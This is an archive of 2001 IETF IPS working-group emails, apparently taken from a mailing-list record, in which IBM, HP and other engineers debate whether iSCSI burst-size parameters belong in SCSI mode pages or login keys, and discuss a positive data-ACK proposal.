owner-ips@ece.cmu.edu Tue Sep 25 17:40:45 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA15835 for ; Tue, 25 Sep 2001 17:40:44 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8PKQqs23591 for ips-outgoing; Tue, 25 Sep 2001 16:26:52 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from e31.bld.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8PKQgP23578 for ; Tue, 25 Sep 2001 16:26:44 -0400 (EDT) Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.99.140.23]) by e31.bld.us.ibm.com (8.9.3/8.9.3) with ESMTP id QAA100136 for ; Tue, 25 Sep 2001 16:24:17 -0400 Received: from d03nm065.boulder.ibm.com (d03nm065.boulder.ibm.com [9.99.140.49]) by westrelay02.boulder.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f8PKQaV143040 for ; Tue, 25 Sep 2001 14:26:36 -0600 X-Priority: 1 (High) Importance: Normal Subject: Re: iscsi : default iscsi mode page settings. To: "Julian Satran" Cc: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000 Message-ID: From: "John Hufferd" Date: Tue, 25 Sep 2001 13:25:41 -0700 X-MIMETrack: Serialize by Router on D03NM065/03/M/IBM(Release 5.0.8 |June 18, 2001) at 09/25/2001 02:26:37 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Julian, First I think that a good design will attempt to have a Zero Copy type buffering operation, from the time the data arrives from the Transport through the use by SCSI. However, perhaps this can be resolved a different way (perhaps you have even suggested it): Suppose the only way the Burst parameters (and maybe other transport parameters) can be set is via the Login/Text commands, and yet let the values be seen by either Login/Text or the Mode Page commands, perhaps all requirements can be met, and we can get off this discussion. In other words, iSCSI will see the values and can save it in local working variables, while also setting the Mode Page stuff. The implementation would be that Transport Mode-Page items can not be set by SCSI commands. . . . John L. Hufferd Senior Technical Staff Member (STSM) IBM/SSG San Jose Ca Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 Home Office (408) 997-6136 Internet address: hufferd@us.ibm.com Julian Satran/Haifa/IBM@IBMIL@ece.cmu.edu on 09/25/2001 12:00:43 PM Sent by: owner-ips@ece.cmu.edu To: ips@ece.cmu.edu cc: Subject: Re: iscsi : default iscsi mode page settings. John, I understand this but then we have to move both and First and MaxBurstSize and we have created a problem for SCSI or BCM. My assumption was that as the cache is mainly a SCSI design (transport uses it only as a source and sink - transport has it's own buffers that form the window) dependent on device characteristics it may want to control the buffers and the traffic mix. And the mode page table will be accessible to both - obviously with only one of them having write rights. Regards, Julo John Hufferd@IBMUS To: Julian Satran/Haifa/IBM@IBMIL cc: ips@ece.cmu.edu 25-09-01 19:53 From: John Hufferd/San Jose/IBM@IBMUS Subject: Re: iscsi : default iscsi mode page settings.(Document link: Julian Satran - Mail) Julian. Thank you for taking the time to express your views, in this way. That type of dialog can help push the debate forward. Now let me expressed some views that I hold, and ask you to let me know where I am wrong. I have viewed the Buffer/Cache Manager as an independent entity that belongs to the "Box" (or the embedded OS). I have not viewed the Buffer/Cache Manager as being a SCSI entity. Instead I have viewed SCSI as a user of the Box services called Buffer/Cache Manager. Likewise, I have viewed the Transport as a user of this same Buffer/Cache Manager(B/CM). I can understand that the B/CM can have certain input and output flows that it needs to be designed to handle. Further I understand that part of that design should factor in the needs of the SCSI LUs to consume Buffer Space. But the requirements of the Transport also needs to be factored in. As a result, I expect that there needs to be some defaults per link, and if the Transport is to negotiate Burst values, there probably needs to be an interface with the B/CM to ensure that the right values are negotiated. However, it is not clear that it makes sense for the iSCSI layer to keep polling (interfacing to) the B/CM just in case a SCSI command has changed the Mode Pages, nor does it see reasonable for iSCSI to inspect the CDBs to see if its mode Page items are being changed. So if it is not affected by a SCSI command and is only handled with Login/Text Command, then an approprate interface between the B/CM can be used to query about the approprate values to negotiate at any specific time. I think this is a reasonable and approprate design. This is why I have come to the conclusion that the burst values (other then defaults, if any) should not be a Mode Page item. Now it is clearly possible that I have missed something important here, so please let me know what it is. . . . John L. Hufferd Senior Technical Staff Member (STSM) IBM/SSG San Jose Ca Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 Home Office (408) 997-6136 Internet address: hufferd@us.ibm.com Julian Satran/Haifa/IBM@IBMIL@ece.cmu.edu on 09/24/2001 11:28:15 PM Sent by: owner-ips@ece.cmu.edu To: ips@ece.cmu.edu cc: Subject: Re: iscsi : default iscsi mode page settings. Sanjeev, We can set any of those parameters wherever you want as its clearly a protocol prerogative. The one thing that I am trying to avoid is having one parameter being handled in two ways (It caused me more trouble that it was worth in the past and required a lot of logic). As such we have two consideration when selecting location: legacy what layer is the most affected by it It looks to me that association of sink buffers at targets is mostly a SCSI issue and it is dependent on the device type, the relative speed of the transport and device, QOS requirements at device. Data is already in the SCSI realm (not anymore individual PDUs but sequences that are governed by SCSI needs and (including fairness rules between LUs attached to the same bus). That is why we have those bursts - iSCSI does not need them - SCSI may need them for multiplexing and buffer limitations of its own. As far as iSCSI is concerned bursts are just trouble. But without them a pipe with a limited window will serve one LU and even beyond it's real capabilites. The multiplexing capability is needed by SCSI and is offered in different ways on different transports. Some "buses" have a "built-in" multiplexing capability. TCP does not and iSCSI adds it to it by the "burst limitation". All this said and based on an earlier comment made by Bob Snively that this could be a good criteria for splitting parameters between text and mode pages - I think that the split we have now, even if not built according to every developers wet dreams, is reasonable. Julo "Sanjeev Bhagat \(TRIPACE/Zoetermee To: "Santosh Rao" , John r\)" Hufferd/San Jose/IBM@IBMUS Subject: Re: iscsi : default iscsi mode page 25-09-01 01:58 settings. Please respond to "Sanjeev Bhagat \(TRIPACE/Zoetermee r\)" Julian, Santosh, Can we make all the SCSI mode page paramters be made as login keys? Why should they be kept in a seperate mode page at all?? Sanjeev ----- Original Message ----- From: "John Hufferd" To: "Santosh Rao" Cc: "Julian Satran" ; Sent: Monday, September 24, 2001 10:34 PM Subject: Re: iscsi : default iscsi mode page settings. > > In addition to what Santosh said, If I understand this right, > I think it is a problem for iSCSI to have to keep going across layers to > determine what the values are. Since iSCSI Target will not see the CDB > that caused the values to change. > > Now if the value in the mode page is only the default, that would be a > different issue. > > . > . > . > John L. Hufferd > Senior Technical Staff Member (STSM) > IBM/SSG San Jose Ca > Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 > Home Office (408) 997-6136 > Internet address: hufferd@us.ibm.com > > > Santosh Rao @ece.cmu.edu on 09/24/2001 12:28:43 PM > > Sent by: owner-ips@ece.cmu.edu > > > To: Julian Satran/Haifa/IBM@IBMIL > cc: ips@ece.cmu.edu > Subject: Re: iscsi : default iscsi mode page settings. > > > > Julian Satran wrote: > > > I can sympathize with you wanting to use most of the parameters in iSCSI > - > > but the values are in fact restrictions that SCSI places on iSCSI. > > Julian, > > I'm confused by your response. > > The SPC-2 description of Disconnect-Reconnect mode page indicates that : > "The parameters appropriate to each protocol and their interpretation for > that protocol may > be specified in the individual protocol documents". > > FYI, SPI[-4] has chosen not to attach any semantics to FirstBurstSize for > the pSCSI > transport. Thus, iscsi is within its rights to declare this field as > reserved and attach no > meaning to it in the mode page. The FirstBurstSize can be negotiated during > iscsi login > through a login key. > > > > Nevertheless the discussion is rather academic because SCSI can hand > those > > parameters to iSCSI. > > Again, I'm confused by your response. The reasons I'm suggesting the use of > a login key > instead of the mode page method are : > > * More accurate scope (applies only to this I-T nexus). > > * More optimal negotiation and reduced overhead in the establishment of > the I-T nexus. (2 > less SCSI commands per I-T nexus establishment.). > > * Enables faster I/O scan times due to lesser on-the-wire activity > during I-T nexus > establishment. > > * Allows less room for error in the I-T nexus establishment (no > possiblity of failure to > establish I-T nexus due to mode sense/select command failure). > > * Avoids mode select wars that can occur when target uses shared mode > pages. > > * Simpler initiator implementations since they can avoid embedding SCSI > command set > knowledge as well as code to build/parse SCSI commands. Also, they can > avoid extra code > that is required to snoop for CHECK CONDITION with (sense key=UA, ASC > ="mode parameters > changed") in order to re-issue a mode sense to determine new values > for FirstBurstSize. > > * Less code to interact with SCSI ULP application client to co-ordinate > the mode page > values b/n the ULP & LLP. > > * Can use un-solicited data from the very first scsi command in the > session. > > I don't consider any of the above reasons to be academic and would like to > know which ones > among the above do you believe are academic and why ? > > > > SCSI can handle those parameters dynamically. iSCSI may have trouble > > handling this type of negotiation dynamically over several connections. > > This is exactly the kind of stuff we don't need and should actually be > trying to avoid. What > good does dynamically changing FirstBurstSize serve ? Dynamically changing > FirstBurstSize > would only be achieved with least side-effects if : > 1) The mode select implementation on target is not using shared mode pages. > 2) The initiator has quiesced I/O prior to issuing the mode select for the > change. > > Neither of the above 2 conditions would typically apply and any dynamic > change of > FirstBurstSize would only cause initiators to see a bunch of side-effects > such as : > a) Active outbound I/Os aborted by the target with a CHECK CONDITION due to > "not enough > un-solicited data". > b) UA CHECK CONDITION for "mode parameters changed". > > In the interests of simplification and avoiding disruption of active I/O, > such modifications > must be avoided as far as possible. One way to achieve that is to use a > login key and make > it LO. > > > > > > Resource-wise (as Bob Snively has pointed out) those are SCSI issues. > > > > A nice way out would be to ask T10 for a text mode negotiaton :-) > > Once again, I'm perplexed by your response. I'm not saying that text mode > negotiation is the > reason I suggest moving this to a login key. The main objective is to > isolate such > negotiation within the iscsi layer in an iscsi specific PDU that is a part > of the iscsi > login process. > > Hope you will consider all of the above factors. > > Thanks, > Santosh > > ps : [I wonder if there are any others on this list who care to voice their > opinion on this > issue. (??). ] > > > > > > From owner-ips@ece.cmu.edu Tue Sep 25 17:43:30 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA15900 for ; Tue, 25 Sep 2001 17:43:30 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8PKhjS24781 for ips-outgoing; Tue, 25 Sep 2001 16:43:45 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mail.wrs.com (unknown-1-11.windriver.com [147.11.1.11]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8PKhhP24774 for ; Tue, 25 Sep 2001 16:43:43 -0400 (EDT) Received: from london ([10.95.10.3]) by mail.wrs.com (8.9.3/8.9.1) with SMTP id NAA08008; Tue, 25 Sep 2001 13:43:27 -0700 (PDT) From: "Rod Harrison" To: "John Hufferd" Cc: Subject: RE: iSCSI - positive data ack - change proposal Date: Tue, 25 Sep 2001 21:45:35 +0100 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) Importance: Normal In-Reply-To: X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit John, I understand the difficulty with reconstructing data from the media, I personally wouldn't attempt that in a target. I was under the impression though that this was the Orlando WG consensus, forgive me if I have misremembered. - Rod -----Original Message----- From: John Hufferd [mailto:hufferd@us.ibm.com] Sent: Tuesday, September 25, 2001 9:02 PM To: Rod Harrison Cc: ips@ece.cmu.edu Subject: RE: iSCSI - positive data ack - change proposal Rod, I think having iSCSI get the data off of the physical device to respond to a resend request, may add more complexity then you are currently thinking about. That is because, it may be going back to get data that has been changed by a write that could have come in from another connection. This gets all very complicated to control. . . . John L. Hufferd Senior Technical Staff Member (STSM) IBM/SSG San Jose Ca Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 Home Office (408) 997-6136 Internet address: hufferd@us.ibm.com "Rod Harrison" @ece.cmu.edu on 09/25/2001 06:09:54 AM Sent by: owner-ips@ece.cmu.edu To: Julian Satran/Haifa/IBM@IBMIL, cc: Subject: RE: iSCSI - positive data ack - change proposal Julian, The NOP mechanism is awkward, no question, but I wasn't thinking it was something we should specify and mandate. Rather it is something that a target might do under extreme, and hopefully unlikely conditions. - Rod -----Original Message----- From: owner-ips@ece.cmu.edu [mailto:owner-ips@ece.cmu.edu]On Behalf Of Julian Satran Sent: Tuesday, September 25, 2001 1:02 PM To: ips@ece.cmu.edu Subject: RE: iSCSI - positive data ack - change proposal Matthew, I can fix the text and the ack for the last - we can dispense with, but unlike we gather more support we will have to drop this. I think that the NOP mechanism is awkward but is awkward and as the target shares the penalty for SNAK it has no real incentive to the F bit in every PDU. Julo "BURBRIDGE,MATTH EW To: Julian Satran/Haifa/IBM@IBMIL, (HP-UnitedKingdo ips@ece.cmu.edu m,ex2)" cc: change proposal 24-09-01 12:38 Please respond to "BURBRIDGE,MATTH EW (HP-UnitedKingdo m,ex2)" Julian This looks good! A couple of comments: Please could you add a paragraph to state that a target does not necessarily need to wait for the acknowledgment of a sequence before starting transmission of the next sequence - for performance reasons. In section 3.7.1 it states that "Upon receiving an Data-In PDU with the F set to 1 in a session with ErrorRecoveryLevel 1 or higher the initiator MUST issue a DataACK type of SNACK indicating the next expected DataSN for this task". Is this true for all incoming data sequences including the final sequence of the transfer? Cheers Matthew -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Sunday, September 23, 2001 2:46 AM To: ips@ece.cmu.edu Subject: Re: iSCSI - positive data ack - change proposal Here is updated version (in the previous I had excluded the sequences ended with Status with no good reason. Julo (See attached file: ack.txt) ----- Forwarded by Julian Satran/Haifa/IBM on 23-09-01 04:41 ----- Julian Satran To: ips@ece.cmu.edu 22-09-2001 cc: 14:04 From: Julian Satran/Haifa/IBM@IBMIL Subject: iSCSI - positive data ack - change proposal Dear colleagues, As I mentioned earlier all the elements needed for positive data-ack are already in place. I am suggesting the following changes to the document to reintroduce the data-ACK. Comments? Julo **** Attachment ack.txt has been removed from this note on 23 September 2001 by Julian Satran **** From owner-ips@ece.cmu.edu Tue Sep 25 17:46:58 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA15977 for ; Tue, 25 Sep 2001 17:46:57 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8PK2SL21839 for ips-outgoing; Tue, 25 Sep 2001 16:02:28 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from e31.bld.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8PK2OP21828 for ; Tue, 25 Sep 2001 16:02:24 -0400 (EDT) Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.99.140.23]) by e31.bld.us.ibm.com (8.9.3/8.9.3) with ESMTP id QAA18362; Tue, 25 Sep 2001 16:00:01 -0400 Received: from d03nm065.boulder.ibm.com (d03nm065.boulder.ibm.com [9.99.140.49]) by westrelay02.boulder.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f8PK2KV47610; Tue, 25 Sep 2001 14:02:20 -0600 X-Priority: 1 (High) Importance: Normal Subject: RE: iSCSI - positive data ack - change proposal To: "Rod Harrison" Cc: X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000 Message-ID: From: "John Hufferd" Date: Tue, 25 Sep 2001 13:01:35 -0700 X-MIMETrack: Serialize by Router on D03NM065/03/M/IBM(Release 5.0.8 |June 18, 2001) at 09/25/2001 02:02:20 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Rod, I think having iSCSI get the data off of the physical device to respond to a resend request, may add more complexity then you are currently thinking about. That is because, it may be going back to get data that has been changed by a write that could have come in from another connection. This gets all very complicated to control. . . . John L. Hufferd Senior Technical Staff Member (STSM) IBM/SSG San Jose Ca Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 Home Office (408) 997-6136 Internet address: hufferd@us.ibm.com "Rod Harrison" @ece.cmu.edu on 09/25/2001 06:09:54 AM Sent by: owner-ips@ece.cmu.edu To: Julian Satran/Haifa/IBM@IBMIL, cc: Subject: RE: iSCSI - positive data ack - change proposal Julian, The NOP mechanism is awkward, no question, but I wasn't thinking it was something we should specify and mandate. Rather it is something that a target might do under extreme, and hopefully unlikely conditions. - Rod -----Original Message----- From: owner-ips@ece.cmu.edu [mailto:owner-ips@ece.cmu.edu]On Behalf Of Julian Satran Sent: Tuesday, September 25, 2001 1:02 PM To: ips@ece.cmu.edu Subject: RE: iSCSI - positive data ack - change proposal Matthew, I can fix the text and the ack for the last - we can dispense with, but unlike we gather more support we will have to drop this. I think that the NOP mechanism is awkward but is awkward and as the target shares the penalty for SNAK it has no real incentive to the F bit in every PDU. Julo "BURBRIDGE,MATTH EW To: Julian Satran/Haifa/IBM@IBMIL, (HP-UnitedKingdo ips@ece.cmu.edu m,ex2)" cc: change proposal 24-09-01 12:38 Please respond to "BURBRIDGE,MATTH EW (HP-UnitedKingdo m,ex2)" Julian This looks good! A couple of comments: Please could you add a paragraph to state that a target does not necessarily need to wait for the acknowledgment of a sequence before starting transmission of the next sequence - for performance reasons. In section 3.7.1 it states that "Upon receiving an Data-In PDU with the F set to 1 in a session with ErrorRecoveryLevel 1 or higher the initiator MUST issue a DataACK type of SNACK indicating the next expected DataSN for this task". Is this true for all incoming data sequences including the final sequence of the transfer? Cheers Matthew -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Sunday, September 23, 2001 2:46 AM To: ips@ece.cmu.edu Subject: Re: iSCSI - positive data ack - change proposal Here is updated version (in the previous I had excluded the sequences ended with Status with no good reason. Julo (See attached file: ack.txt) ----- Forwarded by Julian Satran/Haifa/IBM on 23-09-01 04:41 ----- Julian Satran To: ips@ece.cmu.edu 22-09-2001 cc: 14:04 From: Julian Satran/Haifa/IBM@IBMIL Subject: iSCSI - positive data ack - change proposal Dear colleagues, As I mentioned earlier all the elements needed for positive data-ack are already in place. I am suggesting the following changes to the document to reintroduce the data-ACK. Comments? Julo **** Attachment ack.txt has been removed from this note on 23 September 2001 by Julian Satran **** From owner-ips@ece.cmu.edu Tue Sep 25 19:18:07 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA17981 for ; Tue, 25 Sep 2001 19:18:07 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8PM6tx00543 for ips-outgoing; Tue, 25 Sep 2001 18:06:55 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8PM6sP00537 for ; Tue, 25 Sep 2001 18:06:54 -0400 (EDT) Received: from core.rose.hp.com (core.rose.hp.com [15.43.208.100]) by atlrel2.hp.com (Postfix) with ESMTP id 621F0100F for ; Tue, 25 Sep 2001 18:06:50 -0400 (EDT) Received: from rose.hp.com (hpsil34.rose.hp.com [15.43.211.225]) by core.rose.hp.com with ESMTP (8.9.3 (PHNE_22672)/8.8.6 SMKit7.02) id PAA07666 for ; Tue, 25 Sep 2001 15:00:46 -0700 (PDT) Message-Id: <200109252200.PAA07666@core.rose.hp.com> Date: Tue, 25 Sep 2001 15:10:52 -0700 From: "Mallikarjun C." Reply-To: cbm@rose.hp.com Organization: Hewlett-Packard, Roseville X-Mailer: Mozilla 4.73 [en] (X11; U; HP-UX B.10.20 9000/715) X-Accept-Language: en MIME-Version: 1.0 To: ips Subject: Re: iscsi : default iscsi mode page settings. References: <3BAF896B.B9313753@cup.hp.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Julian and Santosh, Whether FirstBurstSize should be a text key or not, IMHO, is (mostly) dependent on the current implementations. Santosh rightly pointed out several drawbacks of mandating a new set of mode select/sense operations that are totally iSCSI-specific since the legacy SCSI stack (class drivers, services/midlayer) will have no clue about them. OTOH, if most of today's SCSI stacks _do_ perform this mode parameter manipulation in disconnect- reconnect mode page, that would be a strong argument to leave FirstBurstSize as a mode page parameter. A somewhat larger issue is whether this should be a nexus parameter of a given I-T nexus (which login keys enable), or not (which a *typical* shared mode page would preclude). While I cannot identify an obvious advantage of using a different FirstBurstSize for each I-T nexus in a target, the fact that the login key enables either shared or per-nexus parameter in a given target implementation seems to tilt the balance in favor of a login key. Regards. -- Mallikarjun Mallikarjun Chadalapaka Networked Storage Architecture Network Storage Solutions Organization MS 5668 Hewlett-Packard, Roseville. cbm@rose.hp.com Santosh Rao wrote: > > Julian Satran wrote: > > > I can sympathize with you wanting to use most of the parameters in iSCSI - > > but the values are in fact restrictions that SCSI places on iSCSI. > > Julian, > > I'm confused by your response. > > The SPC-2 description of Disconnect-Reconnect mode page indicates that : > "The parameters appropriate to each protocol and their interpretation for that protocol may > be specified in the individual protocol documents". > > FYI, SPI[-4] has chosen not to attach any semantics to FirstBurstSize for the pSCSI > transport. Thus, iscsi is within its rights to declare this field as reserved and attach no > meaning to it in the mode page. The FirstBurstSize can be negotiated during iscsi login > through a login key. > > > Nevertheless the discussion is rather academic because SCSI can hand those > > parameters to iSCSI. > > Again, I'm confused by your response. The reasons I'm suggesting the use of a login key > instead of the mode page method are : > > * More accurate scope (applies only to this I-T nexus). > > * More optimal negotiation and reduced overhead in the establishment of the I-T nexus. (2 > less SCSI commands per I-T nexus establishment.). > > * Enables faster I/O scan times due to lesser on-the-wire activity during I-T nexus > establishment. > > * Allows less room for error in the I-T nexus establishment (no possiblity of failure to > establish I-T nexus due to mode sense/select command failure). > > * Avoids mode select wars that can occur when target uses shared mode pages. > > * Simpler initiator implementations since they can avoid embedding SCSI command set > knowledge as well as code to build/parse SCSI commands. Also, they can avoid extra code > that is required to snoop for CHECK CONDITION with (sense key=UA, ASC="mode parameters > changed") in order to re-issue a mode sense to determine new values for FirstBurstSize. > > * Less code to interact with SCSI ULP application client to co-ordinate the mode page > values b/n the ULP & LLP. > > * Can use un-solicited data from the very first scsi command in the session. > > I don't consider any of the above reasons to be academic and would like to know which ones > among the above do you believe are academic and why ? > > > SCSI can handle those parameters dynamically. iSCSI may have trouble > > handling this type of negotiation dynamically over several connections. > > This is exactly the kind of stuff we don't need and should actually be trying to avoid. What > good does dynamically changing FirstBurstSize serve ? Dynamically changing FirstBurstSize > would only be achieved with least side-effects if : > 1) The mode select implementation on target is not using shared mode pages. > 2) The initiator has quiesced I/O prior to issuing the mode select for the change. > > Neither of the above 2 conditions would typically apply and any dynamic change of > FirstBurstSize would only cause initiators to see a bunch of side-effects such as : > a) Active outbound I/Os aborted by the target with a CHECK CONDITION due to "not enough > un-solicited data". > b) UA CHECK CONDITION for "mode parameters changed". > > In the interests of simplification and avoiding disruption of active I/O, such modifications > must be avoided as far as possible. One way to achieve that is to use a login key and make > it LO. > > > > > Resource-wise (as Bob Snively has pointed out) those are SCSI issues. > > > > A nice way out would be to ask T10 for a text mode negotiaton :-) > > Once again, I'm perplexed by your response. I'm not saying that text mode negotiation is the > reason I suggest moving this to a login key. The main objective is to isolate such > negotiation within the iscsi layer in an iscsi specific PDU that is a part of the iscsi > login process. > > Hope you will consider all of the above factors. > > Thanks, > Santosh > > ps : [I wonder if there are any others on this list who care to voice their opinion on this > issue. (??). ] From owner-ips@ece.cmu.edu Tue Sep 25 19:20:28 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA18054 for ; Tue, 25 Sep 2001 19:20:28 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8PM5Ew00429 for ips-outgoing; Tue, 25 Sep 2001 18:05:14 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from zoetermeer.tripace.com (eth0.81033r2ce.rtd.skybernet.net [217.17.136.66]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8PM5BP00423 for ; Tue, 25 Sep 2001 18:05:11 -0400 (EDT) Received: by ZOETERMEER with Internet Mail Service (5.5.2653.19) id ; Wed, 26 Sep 2001 00:06:48 +0200 Message-ID: <8C59010722BBD31194640050DA6EC6971B9843@ZOETERMEER> From: "Sanjeev Bhagat (TRIPACE/Zoetermeer)" To: "'John Hufferd'" , Julian Satran Cc: ips@ece.cmu.edu Subject: RE: iscsi : default iscsi mode page settings. Date: Wed, 26 Sep 2001 00:06:47 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk Julo, John J&J :), So I see that you basically come to the point that FirstBurstSize and MaxBurstSize field be put into the login keys. If you agree this, and if i have to see the SCSI mode page parameters, the only odd field left out is EMDP (enable modify data pointer). This should also be included in login/text keys. Why should this be left out alone? The inititator will need to make an extra mode sense command to know this. We should either keep all three parameters readable through mode sense command or login /text keys or both. By the way in my view there is no SCSI (CDB) command to set transport mode page parameters. Also a zero copy buffer operation to SCSI is only possible if there is no missing data in the buffer. Regards, Sanjeev -----Original Message----- From: John Hufferd [mailto:hufferd@us.ibm.com] Sent: Tuesday, September 25, 2001 10:26 PM To: Julian Satran Cc: ips@ece.cmu.edu Subject: Re: iscsi : default iscsi mode page settings. Julian, First I think that a good design will attempt to have a Zero Copy type buffering operation, from the time the data arrives from the Transport through the use by SCSI. However, perhaps this can be resolved a different way (perhaps you have even suggested it): Suppose the only way the Burst parameters (and maybe other transport parameters) can be set is via the Login/Text commands, and yet let the values be seen by either Login/Text or the Mode Page commands, perhaps all requirements can be met, and we can get off this discussion. In other words, iSCSI will see the values and can save it in local working variables, while also setting the Mode Page stuff. The implementation would be that Transport Mode-Page items can not be set by SCSI commands. . . . John L. Hufferd Senior Technical Staff Member (STSM) IBM/SSG San Jose Ca Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 Home Office (408) 997-6136 Internet address: hufferd@us.ibm.com Julian Satran/Haifa/IBM@IBMIL@ece.cmu.edu on 09/25/2001 12:00:43 PM Sent by: owner-ips@ece.cmu.edu To: ips@ece.cmu.edu cc: Subject: Re: iscsi : default iscsi mode page settings. John, I understand this but then we have to move both and First and MaxBurstSize and we have created a problem for SCSI or BCM. My assumption was that as the cache is mainly a SCSI design (transport uses it only as a source and sink - transport has it's own buffers that form the window) dependent on device characteristics it may want to control the buffers and the traffic mix. And the mode page table will be accessible to both - obviously with only one of them having write rights. Regards, Julo John Hufferd@IBMUS To: Julian Satran/Haifa/IBM@IBMIL cc: ips@ece.cmu.edu 25-09-01 19:53 From: John Hufferd/San Jose/IBM@IBMUS Subject: Re: iscsi : default iscsi mode page settings.(Document link: Julian Satran - Mail) Julian. Thank you for taking the time to express your views, in this way. That type of dialog can help push the debate forward. Now let me expressed some views that I hold, and ask you to let me know where I am wrong. I have viewed the Buffer/Cache Manager as an independent entity that belongs to the "Box" (or the embedded OS). I have not viewed the Buffer/Cache Manager as being a SCSI entity. Instead I have viewed SCSI as a user of the Box services called Buffer/Cache Manager. Likewise, I have viewed the Transport as a user of this same Buffer/Cache Manager(B/CM). I can understand that the B/CM can have certain input and output flows that it needs to be designed to handle. Further I understand that part of that design should factor in the needs of the SCSI LUs to consume Buffer Space. But the requirements of the Transport also needs to be factored in. As a result, I expect that there needs to be some defaults per link, and if the Transport is to negotiate Burst values, there probably needs to be an interface with the B/CM to ensure that the right values are negotiated. However, it is not clear that it makes sense for the iSCSI layer to keep polling (interfacing to) the B/CM just in case a SCSI command has changed the Mode Pages, nor does it see reasonable for iSCSI to inspect the CDBs to see if its mode Page items are being changed. So if it is not affected by a SCSI command and is only handled with Login/Text Command, then an approprate interface between the B/CM can be used to query about the approprate values to negotiate at any specific time. I think this is a reasonable and approprate design. This is why I have come to the conclusion that the burst values (other then defaults, if any) should not be a Mode Page item. Now it is clearly possible that I have missed something important here, so please let me know what it is. . . . John L. Hufferd Senior Technical Staff Member (STSM) IBM/SSG San Jose Ca Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 Home Office (408) 997-6136 Internet address: hufferd@us.ibm.com Julian Satran/Haifa/IBM@IBMIL@ece.cmu.edu on 09/24/2001 11:28:15 PM Sent by: owner-ips@ece.cmu.edu To: ips@ece.cmu.edu cc: Subject: Re: iscsi : default iscsi mode page settings. Sanjeev, We can set any of those parameters wherever you want as its clearly a protocol prerogative. The one thing that I am trying to avoid is having one parameter being handled in two ways (It caused me more trouble that it was worth in the past and required a lot of logic). As such we have two consideration when selecting location: legacy what layer is the most affected by it It looks to me that association of sink buffers at targets is mostly a SCSI issue and it is dependent on the device type, the relative speed of the transport and device, QOS requirements at device. Data is already in the SCSI realm (not anymore individual PDUs but sequences that are governed by SCSI needs and (including fairness rules between LUs attached to the same bus). That is why we have those bursts - iSCSI does not need them - SCSI may need them for multiplexing and buffer limitations of its own. As far as iSCSI is concerned bursts are just trouble. But without them a pipe with a limited window will serve one LU and even beyond it's real capabilites. The multiplexing capability is needed by SCSI and is offered in different ways on different transports. Some "buses" have a "built-in" multiplexing capability. TCP does not and iSCSI adds it to it by the "burst limitation". All this said and based on an earlier comment made by Bob Snively that this could be a good criteria for splitting parameters between text and mode pages - 